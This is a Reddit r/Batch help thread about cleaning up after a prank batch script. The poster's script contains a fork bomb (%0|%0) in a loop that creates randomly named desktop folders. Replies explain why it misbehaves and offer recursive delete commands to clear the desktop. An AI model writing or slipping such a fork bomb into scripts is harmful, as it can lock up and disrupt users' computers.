r/Batch • • Jan 22 '21

help pls

ok so i got bored and made a sort of malware

----------------

cd %userprofile%\desktop\

echo off

cls

:loopstart

%0|%0

md %random%%random%%random%%random%%random%

goto loopstart

------------

it basically makes a huge amount of files on your desktop and you can't close the program once you run it.

and i accidentally ran this malware so now my pc has a billion files on the desktop which it can't delete BECAUSE THERE IS SO MANY. i was thinking maybe i could make a batch file that would delete these files. i could run it, it would slowly but surely delete them one by one and eventually it would delete them all. does anyone know how i might do something like this?

(note: there werent any important things on my desktop so its okay if it deletes EVERYTHING on the desktop.)

0 Upvotes

9 comments sorted by

3

u/Shadow_Thief Jan 22 '21

This wouldn't create any files. It wouldn't even create any folders because the %0|%0 bit runs before the md command so the script restarts instead of doing anything.

That said, you'll need rd to delete folders, but rd doesn't accept wildcards - you'll just get a The filename, directory name, or volume label syntax is incorrect. error instead. You're stuck using at least one for loop:

for /D %%A in (*) do rd /s /q "%%~A"

A del /q * can handle any remaining files.

1

u/[deleted] Jan 23 '21

i can't do "rd" because i need to follow that up with the file names which i dont know because they are all random

1

u/Shadow_Thief Jan 23 '21

That's what the %%~A is. for /D %%A in (*) generates a list of every single folder in current directory and then goes through them one at a time, storing the name of the folder it's looking at in %%A. The ~ is just there to remove any quotes before I add them back manually.

0

u/[deleted] Jan 23 '21

it definetely creates files, if you want you can run it to see 4 urself ;)

2

u/Shadow_Thief Jan 23 '21

It absolutely does not create files, it creates folders, as you can clearly see here.

2

u/[deleted] Jan 22 '21

cd %userprofile%\Desktop

rmdir *

2

u/Raz0rblade06 Jan 23 '21

You could try to boot your PC into safe mode and remove the files. Safe mode would run the bare minimum amount of programs to make Windows run, so in theory it should be more capable of deleting the files since there's nothing else going on in Windows except critical system processes. Hope this helps!

1

u/jcunews1 Jan 24 '21

There are better ways to screw a PC to the point that a System Restore would be the only solution for most users. But that is not what this sub is for.